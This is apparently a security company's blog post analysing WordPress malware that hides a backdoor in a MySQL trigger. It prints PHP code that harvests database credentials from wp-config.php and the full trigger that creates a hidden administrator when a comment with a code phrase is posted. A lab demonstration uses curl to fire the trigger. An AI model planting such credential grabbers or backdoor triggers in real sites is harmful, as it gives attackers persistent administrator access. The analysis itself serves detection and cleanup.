SQL Triggers in Website Backdoors

Over the past year, there’s been an increasing trend of WordPress malware using SQL triggers to hide malicious SQL queries within hacked databases. These queries inject an admin level user into the infected database whenever the trigger condition is met.

What makes this especially problematic for website owners is that most malware cleanup guides focus on the website files and data within specific database tables  — for example, wp_users, wp_options, and wp_posts.

MySQL & Your Website

If you use a popular CMS on your website (like WordPress), then it’s likely using a MySQL database for storing important data like CMS settings and content (e.g WordPress posts). This means that anything that can modify the MySQL database can also cause serious damage to the website, like injecting malicious content or even deleting your website’s content altogether.

This security risk is one of the reasons that the MySQL database has its own separate username and password assigned to it (see wp-config.php file) — this feature prevents someone from remotely querying your MySQL database without the appropriate login information.

/** The name of the database for WordPress */
define('DB_NAME', 'database_name_here');

/** MySQL database username */
define('DB_USER', 'username_here');

/** MySQL database password */
define('DB_PASSWORD', 'password_here');

/** MySQL hostname */
define('DB_HOST', 'localhost');

Since WordPress has access to the login information through wp-config.php, it’s able to read and make changes to the database defined within the configuration file.

Unfortunately, after attackers obtain unauthenticated access they can often read the wp-config.php file to learn the login information for the website’s database — which can then be used by the attacker’s malware to connect to the database and make malicious changes.

PHP Used to Obtain MySQL Login Credentials

The PHP code below is used to grab the MySQL login information from any discovered wp-config.php files.

$wpConfigString = file_get_contents($wpConfigPath);

//preg_match_all("~(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)',\s+'(.+)'\s*\);~", $wpConfigString, $dbhost);
preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s+[\'\"](.+)[\'\"]\s*\);~m", $wpConfigString, $dbhost);
preg_match("~table_prefix\s+=\s+'(.+)';~", $wpConfigString, $prefix);

$dbname = $dbhost[2][0];
$dbuser = $dbhost[2][1];
$dbpassword = $dbhost[2][2];
$dbhostaddr = $dbhost[2][3];
$dbprefix = $prefix[1];

It accomplishes this by using preg_match_all which allows the attacker use regular expressions to store the desired data from wp-config.php into the array variables $dbhost and $prefix, which are then split up into different variables like $dbname, $dbuser, $dbpassword, etc.

A real life example would be an attacker that has already obtained unauthorized access to a website and wants to create a persistent backdoor in the event that  the website files be cleaned.

One method used by attackers is to create an admin level user in the website’s CMS database. These can often be easily spotted from the admin dashboard or a SQL client:

The malicious admin user serves as a backdoor that exists outside of the website’s files and inside its database instead. This detail is important, as many times the database can be overlooked by owners cleaning an infected website. However, removing suspicious users from your website’s database doesn’t mean that all possible backdoors have been removed.

SQL Triggers

A SQL trigger is a stored procedure that automatically runs when specific changes are made to the database.

While they have many useful applications, we also have evidence that SQL triggers are used by bad actors to maintain unauthorized access after a compromise. To accomplish this, attackers inject a SQL trigger into a compromised website’s database and when specific criteria is met or an event occurs, the malicious stored action is run.

For example, we found this interesting backdoor SQL trigger in the wp_comments table on an infected website’s database:

Trigger: after_insert_comment
Event: INSERT
Table: wp_comments
Statement: BEGIN
IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
	SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `wordpress`.`wp_users`);
	SET @nextWpUsersID = @lastInsertWpUsersId + 1;
	INSERT INTO `wordpress`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
	INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
	INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
END IF;

This SQL trigger creates a malicious admin user whenever a new comment containing the code words ‘are you struggling to get comments on your blog?’ is submitted on the infected WordPress website.

The trigger checks the comment_content column in the wp_comments database, so it doesn’t matter if the comment is approved or pending. Once the SQL trigger is active, it inserts a malicious admin user wpadmin with the forged registration date 2014-06-08 and email address wp-security@hotmail[.]com.

wp_users BEFORE COMMENT TRIGGERS THE BACKDOOR USER INJECTION:
# mysql -u root -p -e 'select * from wp_users \G' wordpress
Enter password:
*************************** 1. row ***************************
             	ID: 1
     	user_login: admin
      	user_pass: $P$BYYwDW50tCcCkb01qXVQKRbH5.TEs9/
  	user_nicename: admin
     	user_email: luke@lukeleal.com
       	user_url:
	user_registered: 2019-12-06 06:34:37
user_activation_key:
    	user_status: 0
   	display_name: admin
WORDPRESS TRIGGER COMMENT SUBMITTED USING CURL:
# curl 'http://localhost/wp-comments-post.php' -H 'User-Agent: Netscape' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Referer: http://localhost/index.php/2019/12/06/hello-world/' --data-raw 'comment=are+you+struggling+to+get+comments+on+your+blog%3F&author=John&email=nope%40nope.com&url=&submit=Post+Comment&comment_post_ID=1&comment_parent=0'
CONFIRMING TRIGGER COMMENT CREATED BACKDOOR USER wpadmin:
#  mysql -u root -p -e 'select * from wp_users where user_login like 'wpadmin' \G" wordpress
Enter password:
*************************** 1. row ***************************
             	ID: 2
     	user_login: wpadmin
      	user_pass: $1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1
  	user_nicename: wpadmin
     	user_email: wp-security@hotmail.com
       	user_url: http://wordpress.com
	user_registered: 2014-06-08 00:00:00
user_activation_key:
    	user_status: 0
   	display_name: Kris

Conclusion & Mitigation Steps

When a website has been compromised, you can bet attackers will be on the lookout for any database credentials found in wp-config or other CMS configuration files — and it can be incredibly difficult to identify if the hacker has harvested this information at any point post-infection.

If a compromise does occur, you should update passwords across your entire environment, including your databases. Neglecting this post-hack step may result in an attacker accessing and modifying your site even after you thought you had cleaned up the infection.

Website owners who’ve experienced a compromise can refer to our guide on how to clean a hacked website for steps to clean up the infection. If you need a hand, we can help clean up any malware and backdoors and secure your site.